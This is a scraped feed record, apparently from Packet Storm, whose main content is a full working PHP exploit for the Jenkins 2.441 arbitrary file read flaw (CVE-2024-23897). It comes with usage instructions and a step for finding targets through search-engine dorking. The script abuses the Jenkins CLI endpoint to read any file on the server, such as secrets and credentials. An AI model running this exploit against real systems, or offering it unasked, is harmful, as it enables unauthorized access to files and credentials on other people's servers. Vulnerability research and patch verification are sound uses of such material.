{“lastseen”:”2025-12-18T16:00:01″,”description”:”Jenkins version 2.441 proof of concept arbitrary file read exploit…”,”published”:”2025-12-18T00:00:00″,”modified”:”2025-12-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Jenkins 2.441 Arbitrary File Read”,”source”:””,”references”:””,”id”:”PACKETSTORM:212953″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-23897″],”sourceData”:”=============================================================================================================================================\\n | # Title : Jenkins 2.441 read files Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 136.0.0 (64 bits) |\\n | # Vendor : https:\/\/www.jenkins.io\/changelog\/2.441\/ |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: read files in Jenkins\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/188696\/ Related CVE numbers: CVE-2024-23897 ) .\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Usage: php script.php -u \\u003cJenkins URL\\u003e -f \\u003cfile path\\u003e [-p \\u003cproxy\\u003e]\\n \\n [+] PayLoad :\\n \\n \\n \\u003c?php\\n \\n \/\/ \u062a\u0639\u0637\u064a\u0644 \u062a\u062d\u0630\u064a\u0631\u0627\u062a SSL \u0644\u0644\u0634\u0647\u0627\u062f\u0627\u062a \u0627\u0644\u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u062a\u0648\u0642\u064a\u0639\\n stream_context_set_default([\\n ‘ssl’ =\\u003e [\\n ‘verify_peer’ =\\u003e false,\\n ‘verify_peer_name’ =\\u003e false,\\n ]\\n ]);\\n \\n \/\/ \u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u062b\u0648\u0627\u0628\u062a \u0644\u0644\u0623\u0644\u0648\u0627\u0646 \u0641\u064a \u0627\u0644\u0625\u062e\u0631\u0627\u062c\\n const RED = \\”\\\\033[91m\\”;\\n const GREEN = \\”\\\\033[92m\\”;\\n const YELLOW = \\”\\\\033[93m\\”;\\n const ENDC = \\”\\\\033[0m\\”;\\n const ENCODING = \\”UTF-8\\”;\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u0625\u0646\u0634\u0627\u0621 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0637\u0644\u0628 \u0644\u062c\u064a\u0646\u0643\u064a\u0646\u0632\\n function jenkins_arg($string, $operation) {\\n $out_bytes = \\”\\\\x00\\\\x00\\”;\\n $out_bytes .= pack(\\”n\\”, strlen($string) + 2);\\n $out_bytes .= chr($operation);\\n $out_bytes .= pack(\\”n\\”, strlen($string));\\n $out_bytes .= $string;\\n return $out_bytes;\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u0625\u0631\u0633\u0627\u0644 \u0637\u0644\u0628 \u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0645\u0644\u0641\\n function send_upload_request($url, $uuid_str, $file_path, $useragent, $proxy) {\\n usleep(300000);\\n \\n $data = jenkins_arg(\\”connect-node\\”, 0) . jenkins_arg(\\”@\\” . $file_path, 0) . jenkins_arg(ENCODING, 2) . jenkins_arg(\\”en\\”, 1) . jenkins_arg(\\”\\”, 3);\\n \\n $opts = [\\n ‘http’ =\\u003e [\\n ‘method’ =\\u003e ‘POST’,\\n ‘header’ =\\u003e [\\n \\”User-Agent: $useragent\\”,\\n \\”Session: $uuid_str\\”,\\n \\”Side: upload\\”,\\n \\”Content-type: application\/octet-stream\\”\\n ],\\n ‘content’ =\\u003e $data,\\n ‘timeout’ =\\u003e 3\\n ]\\n ];\\n if ($proxy) {\\n $opts[‘http’][‘proxy’] = $proxy;\\n $opts[‘http’][‘request_fulluri’] = true;\\n }\\n \\n $context = stream_context_create($opts);\\n @file_get_contents($url . \\”\/cli?remoting=false\\”, false, $context);\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u0625\u0631\u0633\u0627\u0644 \u0637\u0644\u0628 \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u0645\u0644\u0641\\n function send_download_request($url, $uuid_str, $useragent, $proxy) {\\n $opts = [\\n ‘http’ =\\u003e [\\n ‘method’ =\\u003e ‘POST’,\\n ‘header’ =\\u003e [\\n \\”User-Agent: $useragent\\”,\\n \\”Session: $uuid_str\\”,\\n \\”Side: download\\”\\n ],\\n ‘timeout’ =\\u003e 3\\n ]\\n ];\\n if ($proxy) {\\n $opts[‘http’][‘proxy’] = $proxy;\\n $opts[‘http’][‘request_fulluri’] = true;\\n }\\n \\n $context = stream_context_create($opts);\\n $response = @file_get_contents($url . \\”\/cli?remoting=false\\”, false, $context);\\n \\n if (strpos($response, \\”No such file:\\”) !== false) {\\n echo \\”File does not exist\\\\n\\”;\\n return false;\\n }\\n if (strpos($response, \\”No such agent\\”) !== false) {\\n preg_match_all(‘\/No such agent \\\\\\”(.*?)\\\\\\”\/’, $response, $matches);\\n return isset($matches[1]) ? implode(\\”\\\\n\\”, $matches[1]) : \\”\\”;\\n }\\n \\n return trim(str_replace(\\”\\\\x00\\”, \\”\\\\n\\”, $response));\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0644\u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0645\u0644\u0641 \u0639\u0628\u0631 Jenkins\\n function read_file($url, $file_path, $useragent, $proxy) {\\n $uuid_str = uniqid();\\n \\n send_upload_request($url, $uuid_str, $file_path, $useragent, $proxy);\\n \\n $file_contents = send_download_request($url, $uuid_str, $useragent, $proxy);\\n if ($file_contents) {\\n echo $file_contents . \\”\\\\n\\”;\\n } else {\\n echo \\”\\u003cempty\\u003e\\\\n\\”;\\n }\\n }\\n \\n \/\/ \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0643\u0648\u062f\\n $options = getopt(\\”u:f:p:\\”, [\\”url:\\”, \\”file:\\”, \\”proxy:\\”]);\\n $url = $options[‘u’] ?? $options[‘url’] ?? ”;\\n $file = $options[‘f’] ?? $options[‘file’] ?? ”;\\n $proxy = $options[‘p’] ?? $options[‘proxy’] ?? ”;\\n $useragent = \\”Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36\\”;\\n \\n if (!$url || !$file) {\\n exit(\\”Usage: php script.php -u \\u003cJenkins URL\\u003e -f \\u003cfile path\\u003e [-p \\u003cproxy\\u003e]\\\\n\\”);\\n }\\n \\n read_file($url, $file, $useragent, $proxy);\\n \\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212953″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212953\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-18T16:00:01″,”description”:”Jenkins version 2.441 proof of concept arbitrary file read exploit…”,”published”:”2025-12-18T00:00:00″,”modified”:”2025-12-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Jenkins 2.441 Arbitrary File Read”,”source”:””,”references”:””,”id”:”PACKETSTORM:212953″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-23897″],”sourceData”:”=============================================================================================================================================\\n | # Title : Jenkins 2.441 read files Vulnerability |\\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-31878","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n